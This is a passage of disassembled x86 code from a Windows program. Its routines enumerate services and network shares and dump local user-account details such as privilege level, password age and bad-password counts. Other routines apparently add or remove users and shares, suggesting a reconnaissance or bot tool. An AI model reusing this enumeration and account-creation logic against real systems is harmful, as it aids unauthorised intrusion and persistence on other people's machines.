CODE XREF: sub_419608+54j ; sub_419608+59j ... push esi call dword_4E2FF0 ; CloseServiceHandle loc_41969C: ; CODE XREF: sub_419608+45j push edi call dword_4E2FF0 ; CloseServiceHandle pop esi loc_4196A4: ; CODE XREF: sub_419608+25j mov eax, ebx pop edi pop ebx leave retn sub_419608 endp ; =============== S U B R O U T I N E ======================================= sub_4196AA proc near ; CODE XREF: sub_41958E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_41975F jz loc_419758 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_419722 jz short loc_419718 mov ecx, eax sub ecx, 3 jz short loc_41970E dec ecx dec ecx jz short loc_419704 dec ecx jz short loc_4196FA sub ecx, 51h jz short loc_4196F0 sub ecx, 24h jnz loc_4197D5 ; default ; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4197C7 ; --------------------------------------------------------------------------- loc_4196F0: ; CODE XREF: sub_4196AA+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4197C7 ; --------------------------------------------------------------------------- loc_4196FA: ; CODE XREF: sub_4196AA+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4197C7 ; --------------------------------------------------------------------------- loc_419704: ; CODE XREF: sub_4196AA+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4197C7 ; --------------------------------------------------------------------------- loc_41970E: ; CODE XREF: sub_4196AA+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4197C7 ; --------------------------------------------------------------------------- loc_419718: ; CODE XREF: sub_4196AA+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4197C7 ; --------------------------------------------------------------------------- loc_419722: ; CODE XREF: sub_4196AA+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_419751 dec ecx jz short loc_41974A dec ecx jz short loc_419743 dec ecx jnz loc_4197D5 ; default ; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4197C7 ; --------------------------------------------------------------------------- loc_419743: ; CODE XREF: sub_4196AA+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_41974A: ; CODE XREF: sub_4196AA+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_419751: ; CODE XREF: sub_4196AA+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_419758: ; CODE XREF: sub_4196AA+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_41975F: ; CODE XREF: sub_4196AA+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_4197D5 ; default ; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16 jz short loc_4197C2 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4197D5 ; default ; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_419816[ecx] jmp ds:off_4197EE[ecx*4] ; switch jump loc_419783: ; DATA XREF: .text:off_4197EEo push offset aTheSpecifiedDa ; jumptable 0041977C case 7 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_41978A: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheServiceDepe ; jumptable 0041977C case 17 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_419791: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheServiceDe_0 ; jumptable 0041977C case 10 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_419798: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheServiceHasB ; jumptable 0041977C case 0 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_41979F: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheSpecified_0 ; jumptable 0041977C case 2 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_4197A6: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheServiceCoul ; jumptable 0041977C case 11 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_4197AD: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheServiceHa_0 ; jumptable 0041977C case 14 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_4197B4: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheRequested_1 ; jumptable 0041977C case 3 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_4197BB: ; CODE XREF: sub_4196AA+D2j ; DATA XREF: .text:off_4197EEo push offset aTheServiceHasN ; jumptable 0041977C case 4 jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_4197C2: ; CODE XREF: sub_4196AA+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4197C7: ; CODE XREF: sub_4196AA+41j ; sub_4196AA+4Bj ... push offset byte_4F2B9C ; Dest call _sprintf pop ecx pop ecx jmp short loc_4197E8 ; --------------------------------------------------------------------------- loc_4197D5: ; CODE XREF: sub_4196AA+36j ; sub_4196AA+89j ... push eax ; default ; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset byte_4F2B9C ; Dest call _sprintf add esp, 0Ch loc_4197E8: ; CODE XREF: sub_4196AA+129j mov eax, offset byte_4F2B9C retn sub_4196AA endp ; --------------------------------------------------------------------------- off_4197EE dd offset loc_419798 ; DATA XREF: sub_4196AA+D2r dd offset loc_41979F ; jump table for switch statement dd offset loc_4197B4 dd offset loc_4197BB dd offset loc_419783 dd offset loc_419791 dd offset loc_4197A6 dd offset loc_4197AD dd offset loc_41978A dd offset loc_4197D5 byte_419816 db 0, 9, 1, 2 ; DATA XREF: sub_4196AA+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419828(int,char *Str,int) sub_419828 proc near ; CODE XREF: sub_401CC7+45D8p var_38C = dword ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4E30EC ; OpenSCManagerA push ebx ; int mov [ebp+var_C], eax push [ebp+arg_8] ; int push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_419860: ; CODE XREF: sub_419828+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4E30B8 ; EnumServicesStatusA test eax, eax jnz short loc_41989A call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_41994E loc_41989A: ; CODE XREF: sub_419828+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_419945 lea esi, [ebp+var_188] loc_4198AB: ; CODE XREF: sub_419828+117j mov eax, [esi+8] dec eax jz short loc_4198F4 dec eax jz short loc_4198ED dec eax jz short loc_4198E6 dec eax jz short loc_4198DF dec eax jz short loc_4198D8 dec eax jz short loc_4198D1 dec eax jz short loc_4198CA push offset aUnknown_0 ; " Unknown" jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_4198CA: ; CODE XREF: sub_419828+99j push offset aPaused ; " Paused" jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_4198D1: ; CODE XREF: sub_419828+96j push offset aPausing ; " Pausing" jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_4198D8: ; CODE XREF: sub_419828+93j push offset aContinuing ; " Continuing" jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_4198DF: ; CODE XREF: sub_419828+90j push offset aRunning ; " Running" jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_419828+8Dj push offset aStoping ; " Stoping" jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_4198ED: ; CODE XREF: sub_419828+8Aj push offset aStarting ; " Starting" jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_4198F4: ; CODE XREF: sub_419828+87j push offset aStopped ; " Stopped" loc_4198F9: ; CODE XREF: sub_419828+A0j ; sub_419828+A7j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dest] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_2 ; "%s: %s (%s)" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+var_38C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4198AB loc_419945: ; CODE XREF: sub_419828+77j cmp [ebp+var_8], ebx jnz loc_419860 loc_41994E: ; CODE XREF: sub_419828+6Cj push [ebp+var_C] call dword_4E2FF0 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_419828 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419965(int,char *Str,int) sub_419965 proc near ; CODE XREF: sub_401CC7+46C3p ; sub_401CC7+46DFp arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Str] test edi, edi jz loc_4199FF mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41998E dec eax jnz short loc_4199DF push edi push 0 call sub_419B38 pop ecx pop ecx jmp short loc_4199DB ; --------------------------------------------------------------------------- loc_41998E: ; CODE XREF: sub_419965+18j cmp [ebp+arg_8], 0 jnz short loc_4199CD push 24h ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_4199CD push 57h pop eax loc_4199A5: ; CODE XREF: sub_419965+78j push eax call sub_41A32C pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset byte_4F2E58 push off_44FE88[eax*4] push offset asc_450510 ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_419A1F ; --------------------------------------------------------------------------- loc_4199CD: ; CODE XREF: sub_419965+2Dj ; sub_419965+3Bj push [ebp+arg_8] ; int push edi ; Str push 0 ; int call sub_419A8C add esp, 0Ch loc_4199DB: ; CODE XREF: sub_419965+27j test eax, eax jnz short loc_4199A5 loc_4199DF: ; CODE XREF: sub_419965+1Bj lea eax, [esi+esi*2] push edi mov esi, offset byte_4F2E58 push off_44FE8C[eax*4] push offset asc_4504F4 ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_419A1F ; --------------------------------------------------------------------------- loc_4199FF: ; CODE XREF: sub_419965+Aj mov eax, [ebp+arg_0] mov esi, offset byte_4F2E58 lea eax, [eax+eax*2] push off_44FE88[eax*4] push offset asc_45053C ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_419A1F: ; CODE XREF: sub_419965+66j ; sub_419965+98j mov eax, esi pop edi pop esi pop ebp retn sub_419965 endp ; =============== S U B R O U T I N E ======================================= sub_419A25 proc near ; CODE XREF: sub_41AD5D+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_419A32 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_419A32: ; CODE XREF: sub_419A25+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_4F5450 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4F3058, 1 mov ebp, eax jnz short loc_419A6F or byte_4F3058, 1 lea eax, [ebp+1] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov dword_4F2DF8, eax loc_419A6F: ; CODE XREF: sub_419A25+32j push esi push esi push ebp push dword_4F2DF8 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4F2DF8 pop edi pop ebp pop ebx pop esi retn sub_419A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419A8C(int,char *Str,int) sub_419A8C proc near ; CODE XREF: sub_419965+6Ep ; sub_41B081+184p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419AF7 push [ebp+Str] mov edi, eax call sub_419AF7 push 24h ; Val mov [ebp+var_20], eax push [ebp+Str] ; Str call _strchr push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419AF7 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4E2FEC pop edi leave retn sub_419A8C endp ; =============== S U B R O U T I N E ======================================= sub_419AF7 proc near ; CODE XREF: sub_419A8C+Ap ; sub_419A8C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419B04 pop ebp retn ; --------------------------------------------------------------------------- loc_419B04: ; CODE XREF: sub_419AF7+9j push ebx push esi mov esi, ds:dword_4F5454 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419AF7 endp ; =============== S U B R O U T I N E ======================================= sub_419B38 proc near ; CODE XREF: sub_419965+20p ; sub_41AD5D+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419AF7 push [esp+8+arg_4] mov esi, eax call sub_419AF7 pop ecx pop ecx push 0 push eax push esi call dword_4E2FC4 pop esi retn sub_419B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419B5B(int,char *Str,int,int) sub_419B5B proc near ; CODE XREF: sub_401CC7+46FFp Dest = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419AF7 xor esi, esi mov [ebp+var_C], eax push esi ; int mov [ebp+arg_C], esi push [ebp+arg_8] ; int mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 18h loc_419B94: ; CODE XREF: sub_419B5B+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4E303C mov ebx, eax cmp ebx, esi jz short loc_419BF7 cmp ebx, 0EAh jz short loc_419BF7 push ebx push ebx call sub_41A32C pop ecx push eax lea eax, [ebp+Dest] push offset asc_4505B8 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 24h jmp short loc_419C64 ; --------------------------------------------------------------------------- loc_419BF7: ; CODE XREF: sub_419B5B+5Dj ; sub_419B5B+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_419C5B mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419C05: ; CODE XREF: sub_419B5B+FCj push dword ptr [esi+10h] call dword_4E2FE0 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_419C1C mov eax, offset aNo ; "No" loc_419C1C: ; CODE XREF: sub_419B5B+BAj push eax lea eax, [ebp+Dest] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419C05 xor esi, esi loc_419C5B: ; CODE XREF: sub_419B5B+A2j push [ebp+var_4] call dword_4E3188 loc_419C64: ; CODE XREF: sub_419B5B+9Aj cmp ebx, 0EAh jz loc_419B94 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_419B5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C7C proc near ; CODE XREF: sub_401CC7+4752p ; sub_401CC7+477Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Str = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_419D21 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_419CBE dec eax jz short loc_419CB3 dec eax jnz short loc_419CD9 push [ebp+arg_14] ; int push [ebp+Str] ; Str push [ebp+arg_C] ; int push ebx ; int push edi ; int call sub_419DC3 add esp, 14h jmp short loc_419CD5 ; --------------------------------------------------------------------------- loc_419CB3: ; CODE XREF: sub_419C7C+1Dj push ebx push edi call sub_419DA2 pop ecx pop ecx jmp short loc_419CD5 ; --------------------------------------------------------------------------- loc_419CBE: ; CODE XREF: sub_419C7C+1Aj cmp [ebp+arg_8], edi jz short loc_419CD2 push [ebp+arg_8] push ebx push edi call sub_419D48 add esp, 0Ch jmp short loc_419CD5 ; --------------------------------------------------------------------------- loc_419CD2: ; CODE XREF: sub_419C7C+45j push 57h pop eax loc_419CD5: ; CODE XREF: sub_419C7C+35j ; sub_419C7C+40j ... cmp eax, edi jnz short loc_419CF9 loc_419CD9: ; CODE XREF: sub_419C7C+20j lea eax, [esi+esi*2] push ebx mov esi, offset byte_4F305C push off_44FE8C[eax*4] push offset asc_4505E0 ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419CF9: ; CODE XREF: sub_419C7C+5Bj push eax call sub_41A32C pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset byte_4F305C push off_44FE88[eax*4] push offset asc_450600 ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419D21: ; CODE XREF: sub_419C7C+Dj mov eax, [ebp+arg_0] mov esi, offset byte_4F305C lea eax, [eax+eax*2] push off_44FE88[eax*4] push offset asc_450630 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_419D41: ; CODE XREF: sub_419C7C+7Bj ; sub_419C7C+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_419C7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D48 proc near ; CODE XREF: sub_419C7C+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419AF7 push [ebp+arg_4] mov edi, eax call sub_419AF7 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419AF7 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4E2FD0 pop edi leave retn sub_419D48 endp ; =============== S U B R O U T I N E ======================================= sub_419DA2 proc near ; CODE XREF: sub_419C7C+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419AF7 push [esp+8+arg_4] mov esi, eax call sub_419AF7 pop ecx pop ecx push eax push esi call dword_4E2FC0 pop esi retn sub_419DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419DC3(int,int,int,char *Str,int) sub_419DC3 proc near ; CODE XREF: sub_419C7C+2Dp Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419AF7 push [ebp+arg_4] mov esi, eax call sub_419AF7 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4E3150 test eax, eax mov [ebp+arg_0], eax jnz loc_41A16B mov eax, [ebp+var_4] test eax, eax jz loc_41A1A6 push ebx push edi push dword ptr [eax] lea eax, [ebp+Dest] push offset aAccountS ; "Account: %S" push eax ; Dest call _sprintf mov esi, [ebp+arg_10] mov edi, [ebp+Str] mov ebx, [ebp+arg_8] push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+Dest] push offset aFullNameS ; "Full Name: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+Dest] push offset aUserCommentS ; "User Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+Dest] push offset aCommentS ; "Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419EE2 dec eax jz short loc_419EDB dec eax jz short loc_419ED4 mov eax, offset aUnknown_1 ; "Unknown" jmp short loc_419EE7 ; --------------------------------------------------------------------------- loc_419ED4: ; CODE XREF: sub_419DC3+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419EE7 ; --------------------------------------------------------------------------- loc_419EDB: ; CODE XREF: sub_419DC3+105j mov eax, offset aUser_3 ; "User" jmp short loc_419EE7 ; --------------------------------------------------------------------------- loc_419EE2: ; CODE XREF: sub_419DC3+102j mov eax, offset aGuest ; "Guest" loc_419EE7: ; CODE XREF: sub_419DC3+10Fj ; sub_419DC3+116j ... push eax lea eax, [ebp+Dest] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+Dest] push offset aAuthFlagsD ; "Auth Flags: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+Dest] push offset aHomeDirectoryS ; "Home Directory: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+Dest] push offset aParametersS ; "Parameters: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+Dest] push offset aPasswordAgeD ; "Password Age: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+Dest] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+Dest] push offset aNumberOfLogins ; "Number of Logins: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+Dest] push offset aLastLogonD ; "Last Logon: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+Dest] push offset aLastLogoffD ; "Last Logoff: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+Dest] push offset aLogonServerS ; "Logon Server: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+Dest] push offset aWorkstationsS ; "Workstations: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+Dest] push offset aCountryCodeD ; "Country Code: %d" push eax ; Dest call _sprintf push 1 ; int push esi ; int lea eax, [ebp+Dest] push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+Dest] push offset aUserSLanguageD ; "User's Language: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+Dest] push offset aMax_StorageD ; "Max. Storage: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+Dest] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D34 add esp, 20h pop edi pop ebx jmp short loc_41A197 ; --------------------------------------------------------------------------- loc_41A16B: ; CODE XREF: sub_419DC3+35j push eax lea eax, [ebp+Dest] push offset asc_4507E0 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_10] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_8] ; int call sub_409D34 add esp, 20h loc_41A197: ; CODE XREF: sub_419DC3+3A6j cmp [ebp+var_4], 0 jz short loc_41A1A6 push [ebp+var_4] call dword_4E3188 loc_41A1A6: ; CODE XREF: sub_419DC3+40j ; sub_419DC3+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419DC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A1AC(int,char *Str,int,int) sub_41A1AC proc near ; CODE XREF: sub_401CC7+47B6p Dest = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419AF7 push esi ; int mov [ebp+var_14], eax push [ebp+arg_8] ; int mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push 